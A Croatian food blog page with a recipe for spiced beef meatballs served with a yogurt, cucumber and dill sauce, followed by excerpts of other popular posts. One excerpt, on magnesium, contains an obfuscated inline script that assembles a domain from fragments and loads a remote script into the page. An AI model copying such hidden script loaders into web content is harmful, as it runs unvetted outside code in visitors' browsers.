POLPETE S UMAKOM OD JOGURTA I KOPRA




Polpete s umakom od jogurta i kopra 



Začinjenim junećim polpetama posluženim na toplom plosnatom kruhu uz osvježavajući tzatziki umak zaista je teško odoljeti. Meso je prožeto aromama dimljene paprike, kima i češnjaka, stvarajući pun okus koji se savršeno spaja s kiselkastim umakom od jogurta i kopra.




Polpete s umakom od jogurta i kopra 


Sastojci (za 4 porcije)


  • 680 g mljevene junetine


  • 2 žličice dimljene paprike


  • 1 ½ žličica mljevenog kima


  • 1 veliki češanj češnjaka, sitno nariban


  • 2 žličice krupne soli, podijeljeno


  • ½ žličice svježe mljevenog crnog papra, podijeljeno


  • 1 veliki svježi krastavac


  • 180 g tekućeg ili čvrstog grčkog jogurta s niskim udjelom masti


  • 3 žlice nasjeckanog svježeg kopra, podijeljeno


  • 2 žlice maslinovog ulja, podijeljeno


  • Topli plosnati kruh (poput pite ili lepinje) i kriške limuna, za posluživanje.




Priprema:

U velikoj zdjeli dobro pomiješajte mljevenu junetinu, dimljenu papriku, kim, naribani češnjak, čajnu žličicu i pol soli te četvrtinu žličice papra. Od smjese oblikujte 12 manjih polpeta debljine oko 2,5 cm. Poslažite ih na tanjur i stavite u hladnjak na 10 minuta kako bi se stisnule.

U međuvremenu pripremite umak. Naribajte trećinu krastavca na krupniji ribež kako biste dobili otprilike pola šalice. Naribani krastavac prebacite na kuhinjski papir i dobro ga iscijedite rukama kako biste uklonili svu suvišnu tekućinu. Iscijeđeni krastavac prebacite u zdjelu, dodajte grčki jogurt, četvrtinu žličice soli, jednu žlicu nasjeckanog kopra i preostalu četvrtinu žličice papra pa sve dobro promiješajte.

Preostali dio krastavca narežite na tanke kolutiće i stavite u drugu zdjelu. Začinite ih s jednom žlicom maslinovog ulja, preostalom polovicom žličice soli i dvije žlice kopra te lagano promiješajte kako bi se okusi sjedinili.

U velikoj tavi zagrijte preostalu žlicu maslinovog ulja na srednje jakoj vatri. Pržite polpete u dvije serije, oko 2 do 3 minute sa svake strane za srednje pečeni odrezak, dok ne porumene s obje strane.

Sočne polpete poslužite tople uz grijani plosnati kruh, kriške limuna, pripremljeni umak od jogurta i osvježavajuću salatu od krastavaca.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više